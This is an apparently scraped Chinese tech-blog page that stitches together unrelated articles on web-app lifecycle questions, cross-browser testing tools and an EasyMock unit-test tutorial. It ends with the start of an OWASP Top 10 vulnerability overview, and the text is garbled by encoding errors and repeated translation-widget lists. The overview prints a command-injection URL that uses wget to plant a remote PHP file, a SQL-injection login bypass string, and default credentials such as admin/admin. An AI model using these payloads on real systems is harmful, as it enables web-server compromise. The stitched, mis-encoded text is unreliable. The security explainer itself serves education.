對Web應(yīng)用程序的開發(fā)生命周期進(jìn)行描述時(shí)可能有許多專有名詞,包括螺旋生命周期或迭代生命周期等等。用更批判的方式來描述最常見的做法是將其描述為類似
軟件開發(fā) 初期軟件工程技術(shù)引入之前的非結(jié)構(gòu)化開發(fā)。在“維護(hù)階段”往往充滿了增加錯(cuò)失的功能和解決存在的問題。
我們需要準(zhǔn)備回答以下問題:
1)是否允許存在用于服務(wù)器和內(nèi)容維護(hù)/升級的停機(jī)時(shí)間?可以有多久?
2)要求有什么樣的安全防護(hù)(防火墻,加密,密碼等),它應(yīng)該做到什么?怎樣才可以對其進(jìn)行測試?
3)互聯(lián)網(wǎng)連接是否可靠?并且對備份系統(tǒng)或冗余的連接要求和測試有何影響?
4)需要什么樣的流程來管理更新網(wǎng)站的內(nèi)容,并且對于維護(hù),跟蹤,控制頁面內(nèi)容,圖片,鏈接等有何要求?
5)對于整個(gè)網(wǎng)站或部分網(wǎng)站來說是否有任何頁面的外觀和圖片的標(biāo)準(zhǔn)或要求?
6)內(nèi)部和外部的鏈接將如何被驗(yàn)證和更新?多頻繁?
7)將有多少次用戶登錄,是否需要測試?
8)CGI程序,Applets,Javascripts,ActiveX組件等如何進(jìn)行維護(hù),跟蹤,控制和測試
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
有時(shí)候,在不同瀏覽器將下進(jìn)行
測試 是
軟件測試 人員與項(xiàng)目團(tuán)隊(duì)的一大挑戰(zhàn)。在所有瀏覽器上運(yùn)行
測試用例 使得測試成本非常高。特別是,當(dāng)我們沒有專業(yè)的設(shè)計(jì)團(tuán)隊(duì),或在進(jìn)行頁面設(shè)計(jì)過程中沒有軟件驗(yàn)證及確認(rèn)的時(shí)候,更為挑戰(zhàn)。這是不好的部分。現(xiàn)在,讓我們來看看有什么好的部分。
最棒的是,在市場上有許多免費(fèi)或收費(fèi)的跨瀏覽器兼容測試工具。最關(guān)鍵的是,大多數(shù)情況你可以用免費(fèi)的工具來完成你的
工作 。如果你有非常特殊的要求,那么你可能需要一個(gè)收費(fèi)的跨瀏覽器兼容測試工具。
讓我們簡單介紹一下一些最好的工具: 1.IETab:這是我最喜歡的和最好的免費(fèi)工具之一。這基本上是一個(gè)Firefox和Chrome瀏覽器的插件。只需簡單的單擊鼠標(biāo)就可以從Firefox和Chrome瀏覽器中看到該網(wǎng)頁在InternetExplorer中將如何被顯示。
2.MicrosoftSuperPreview:這是
微軟 提供的免費(fèi)工具。它可以幫助你檢查在各種版本的InternetExplorer下網(wǎng)頁是如何顯示的。你可以用它來測試和調(diào)試網(wǎng)頁的布局問題。你可以在微軟的網(wǎng)站上免費(fèi)下載此工具。
3.SpoonBrowserSandbox:您可以使用此測試工具在幾乎所有主要的瀏覽器下測試Web應(yīng)用程序,如Firefox,Chrome和Opera。最初,它也支持IE,但在過去的幾個(gè)月里,它減少了對IE的支持。
4.Browsershots:使用這個(gè)免費(fèi)的瀏覽器
兼容性測試 工具,可以測試在任何平臺和瀏覽器的組合應(yīng)用。所以,它是最廣泛使用的工具。然而由于瀏覽器和平臺的大量組合,它需要很長時(shí)間才能顯示結(jié)果。
5.IETester:使用這個(gè)工具,你可以在各種
Windows 平臺測試IE各種版本的網(wǎng)頁,如WindowsVista,Windows7和XP。
6.BrowserCam:這是一個(gè)收費(fèi)的瀏覽器兼容性在線測試工具。您可以用它的試用版進(jìn)行24小時(shí)200張圖以內(nèi)的測試。
7.CrossBrowserTesting:這是一個(gè)完美的測試JavaScript,Ajax和Flash網(wǎng)站在不同瀏覽器中功能的工具。它提供1周免費(fèi)試用。你可以在http://crossbrowsertesting.com/上下載
8.CloudTesting:如果你想在各種瀏覽器上測試您的應(yīng)用程序的瀏覽器兼容性,如IE,F(xiàn)irefox,Chrome,Opera,那么這個(gè)工具很適合你。
除了這些工具,還有一些其他的工具,如IENetRenderer,Browsera,AdobeBrowserLab等,通過對這些工具進(jìn)行一段時(shí)間的研究和使用,就可以達(dá)到事半功倍的效果。
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
1. 背景
單元測試 作為程序的基本保障。很多時(shí)候構(gòu)建測試場景是一件令人頭疼的事。因?yàn)橹暗膯卧獪y試都是內(nèi)部代碼引用的,環(huán)境自給自足。開發(fā)到了一定程度,你不得不到開始調(diào)用外部的接口來完成你的功能。而外部條件是不穩(wěn)定的。你為了模擬外部環(huán)境要?jiǎng)?chuàng)建各種文件、各種數(shù)據(jù)。嚴(yán)重影響到單元測試的效率。EasyMock應(yīng)運(yùn)而生,他提供了模擬的接口和類。不用費(fèi)神去構(gòu)建各種煩人的環(huán)境,就能開展有效的測試。
2. 準(zhǔn)備環(huán)境
Easymock 3.2 +
JUnit 4.11
3. 構(gòu)建測試
a) 實(shí)際場景
i. 你負(fù)責(zé)開發(fā)一個(gè)會計(jì)師的功能。但計(jì)算個(gè)人所得稅的接口由外部提供(鬼知道項(xiàng)目經(jīng)理是怎么想的)。
ii. 你的代碼已經(jīng)開發(fā)完成了。負(fù)責(zé)開發(fā)個(gè)人所得稅的接口的同事老婆生了四胞胎,天天請假帶孩子。接口沒寫完。
iii. 你要完成你的代碼并提交
測試用例 。前提你個(gè)懶鬼,半點(diǎn)額外
工作 都不想做。同事老婆生孩子又不能去催。然后你在網(wǎng)上找到了EasyMock.......
b) 測試代碼
i. 個(gè)人所得稅的接口
/**
* Copyright ? 2008-2013, WheatMark, All Rights Reserved
*/
package com.fitweber.wheat.interfaces;
/**
* 計(jì)算個(gè)人所得稅
* @author wheatmark hajima11@163.com
* @Blog http://blog.csdn.net/super2007
* @version 1.00.00
* @project wheatMock
* @file com.fitweber.wheat.interfaces.IPersonalIncomeTax.java
* @bulidDate 2013-9-1
* @modifyDate 2013-9-1
* <pre>
* 修改記錄
* 修改后版本: 修改人: 修改日期: 修改內(nèi)容:
* </pre>
*/
public interface IPersonalIncomeTax {
/**
* 計(jì)算個(gè)人所得稅,國內(nèi),2013年7級稅率
* @param income
* @param deductedBeforeTax
* @return
*/
public double calculate(double income,double deductedBeforeTax);
}
ii. 會計(jì)師類中計(jì)算工資方法
/**
* Copyright ? 2008-2013, WheatMark, All Rights Reserved
*/
package com.fitweber.wheat;
import com.fitweber.wheat.interfaces.IPersonalIncomeTax;
/**
* 會計(jì)師類
* @author wheatmark hajima11@163.com
* @Blog http://blog.csdn.net/super2007
* @version 1.00.00
* @project wheatMock
* @file com.fitweber.wheat.Accountant.java
* @bulidDate 2013-9-1
* @modifyDate 2013-9-1
* <pre>
* 修改記錄
* 修改后版本: 修改人: 修改日期: 修改內(nèi)容:
* </pre>
*/
public class Accountant {
private IPersonalIncomeTax personalIncomeTax;
public Accountant(){
}
public double calculateSalary(double income){
//稅前扣除,五險(xiǎn)一金中個(gè)人扣除的項(xiàng)目。8%的養(yǎng)老保險(xiǎn),2%的醫(yī)療保險(xiǎn),1%的失業(yè)保險(xiǎn),8%的住房公積金
double deductedBeforeTax = income*(0.08+0.02+0.01+0.08);
return income - deductedBeforeTax - personalIncomeTax.calculate(income,deductedBeforeTax);
}
/**
* @return the personalIncomeTax
*/
public IPersonalIncomeTax getPersonalIncomeTax() {
return personalIncomeTax;
}
/**
* @param personalIncomeTax the personalIncomeTax to set
*/
public void setPersonalIncomeTax(IPersonalIncomeTax personalIncomeTax) {
this.personalIncomeTax = personalIncomeTax;
}
}
iii. 測試會計(jì)師類中計(jì)算工資方法
或許你不知道個(gè)人所得稅的計(jì)算方式。但是你可以去百度一下。對,百度上有個(gè)人所得稅計(jì)算器。和2011年出臺的個(gè)人所得稅階梯稅率。
通過百度的幫忙(更多的時(shí)候你要求助于業(yè)務(wù)組的同事)你可以確認(rèn)如果你同事的個(gè)人所得稅的計(jì)算接口正確的話,傳入國內(nèi)實(shí)際收入8000.00,稅前扣除1520.00。應(yīng)該返回193.00的扣稅額。然后我們可以設(shè)置我們的Mock對象的行為來模仿接口的傳入和返回。用斷言來確認(rèn)會計(jì)師的計(jì)算工資的邏輯。完成了我們的測試用例。
/**
* Copyright ? 2008-2013, WheatMark, All Rights Reserved
*/
package com.fitweber.wheat.test;
import static org.easymock.EasyMock.*;
import junit.framework.Assert;
import org.easymock.IMocksControl;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import com.fitweber.wheat.Accountant;
import com.fitweber.wheat.interfaces.IPersonalIncomeTax;
/**
* 會計(jì)師測試類
* @author wheatmark hajima11@163.com
* @Blog http://blog.csdn.net/super2007
* @version 1.00.00
* @project wheatMock
* @file com.fitweber.wheat.test.AccountantTest.java
* @bulidDate 2013-9-1
* @modifyDate 2013-9-1
* <pre>
* 修改記錄
* 修改后版本: 修改人: 修改日期: 修改內(nèi)容:
* </pre>
*/
public class AccountantTest {
private IPersonalIncomeTax personalIncomeTax;
private Accountant accountant;
/**
* @throws java.lang.Exception
*/
@Before
public void setUp() throws Exception {
IMocksControl control = createControl();
personalIncomeTax = control.createMock(IPersonalIncomeTax.class);
accountant = new Accountant();
accountant.setPersonalIncomeTax(personalIncomeTax);
}
/**
* @throws java.lang.Exception
*/
@After
public void tearDown() throws Exception {
System.out.println("----------AccountantTest中的全部用例測試完畢---------");
}
@Test
public void testCalculateSalary(){
//個(gè)人所得稅的計(jì)算接口還沒實(shí)現(xiàn),但會計(jì)師的計(jì)算工資的方法已經(jīng)寫好了。需要測試。
//我們可以先Mock一個(gè)出來測試。
//個(gè)人所得稅的計(jì)算接口正確的話,傳入實(shí)際收入8000.00,稅前扣除1520.00。應(yīng)該返回193.00.
expect(personalIncomeTax.calculate(8000.00,1520.00)).andReturn(193.00);
//設(shè)置到回放狀態(tài)
replay(personalIncomeTax);
//驗(yàn)證計(jì)算工資方法計(jì)算是否正確。
Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));
verify(personalIncomeTax);
}
}
4. 執(zhí)行測試
最后是最簡單的一步了。右鍵點(diǎn)擊AccountantTest.java,Run As —> JUnit Test。得到下面的成功界面。
PS:到上面一步,單元測試已經(jīng)是完成了。擁有好奇心的你還可以testCalculateSalary()方法里的數(shù)值去看看如果單元測試不通過會報(bào)什么錯(cuò)。
比如,改一下所傳的參數(shù)personalIncomeTax.calculate(8000.00,1520.00)變?yōu)閜ersonalIncomeTax.calculate(9000.00,1520.00)。
改一下斷言什么的,報(bào)錯(cuò)又會是什么。Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));
具體的EasyMock文檔在網(wǎng)絡(luò)上已經(jīng)漫天飛。自己去找找,深入了解下EasyMock。
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
0x00前言
本文為對
WEB 漏洞研究系列的開篇,日后會針對這些漏洞一一研究,敬請期待
0x01 目錄
0x00 前言
0x01 目錄
0x02 OWASP TOP10 簡單介紹
0x03 烏云TOP 10 簡單介紹
0x04 非主流的WEB漏洞
0x02 OWASP TOP10 簡單介紹
除了OWASP的TOP10,Web安全漏洞還有很多很多,在做
測試 和加固系統(tǒng)時(shí)也不能老盯著TOP10,實(shí)際上是TOP10中的那少數(shù)幾個(gè)
直接說2013的:
A1: 注入,包括
SQL 注入、OS注入、LDAP注入。SQL注入最常見,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于現(xiàn)在自動化工具非常多,通常都是找到注入點(diǎn)后直接交給以sqlmap為代表的工具
命令注入相對來說出現(xiàn)得較少,形式可以是:
https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
也可以查看案例:極路由云插件安裝
shell 命令注入漏洞 ,未對用戶輸入做任何校驗(yàn),因此在web端ssh密碼填寫處輸入一條命令`dropbear`便得到了執(zhí)行
直接搜索LDAP注入案例,簡單嘗試下并沒有找到,關(guān)于LDAP注入的相關(guān)知識可以參考我整理的LDAP注入與防御解析。雖然沒有搜到LDAP注入的案例,但是重要的LDAP信息 泄露還是挺多的,截至目前,烏云上搜關(guān)鍵詞LDAP有81條記錄。
PHP對象注入:偶然看到有PHP對象注入這種漏洞,OWASP上對其的解釋為:依賴于上下文的應(yīng)用層漏洞,可以讓攻擊者實(shí)施多種惡意攻擊,如代碼注入、SQL注入、路徑遍歷及拒絕服務(wù)。實(shí)現(xiàn)對象注入的條件為:1) 應(yīng)用程序必須有一個(gè)實(shí)現(xiàn)PHP魔術(shù)方法(如 __wakeup或 __destruct)的類用于執(zhí)行惡意攻擊,或開始一個(gè)"POP chain";2) 攻擊中用到的類在有漏洞的unserialize()被調(diào)用時(shí)必須已被聲明,或者自動加載的對象必須被這些類支持。PHP對象注入的案例及
文章 可以參考WordPress < 3.6.1 PHP 對象注入漏洞。
在查找資料時(shí),看到了PHP 依賴注入,原本以為是和安全相關(guān)的,結(jié)果發(fā)現(xiàn):依賴注入是對于要求更易維護(hù),更易測試,更加模塊化的代碼的解決方案。果然不同的視角,對同一個(gè)詞的理解相差挺多的。
A2: 失效的身份認(rèn)證及會話管理,乍看身份認(rèn)證覺得是和輸入密碼有關(guān)的,實(shí)際上還有會話id泄露等情況,注意力集中在口令安全上:
案例1:空口令
烏云:國內(nèi)cisco系列交換機(jī)空密碼登入大集合
案例2:弱口令
烏云:盛大某站后臺存在簡單弱口令可登錄 admin/admin
烏云:電信某省客服系統(tǒng)弱口令泄漏各種信息 .../123456
烏云:中國建筑股份有限公司OA系統(tǒng)tomcat弱口令導(dǎo)致淪陷 tomcat/tomcat
案例3:萬能密碼
烏云:
移動 號碼上戶系統(tǒng)存在過濾不嚴(yán) admin'OR'a'='a/admin'OR'a'='a (實(shí)際上仍屬于SQL注入)
弱口令案例實(shí)在不一而足
在烏云一些弱口令如下:其中出鏡次數(shù)最高的是:admin/admin, admin/123456
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters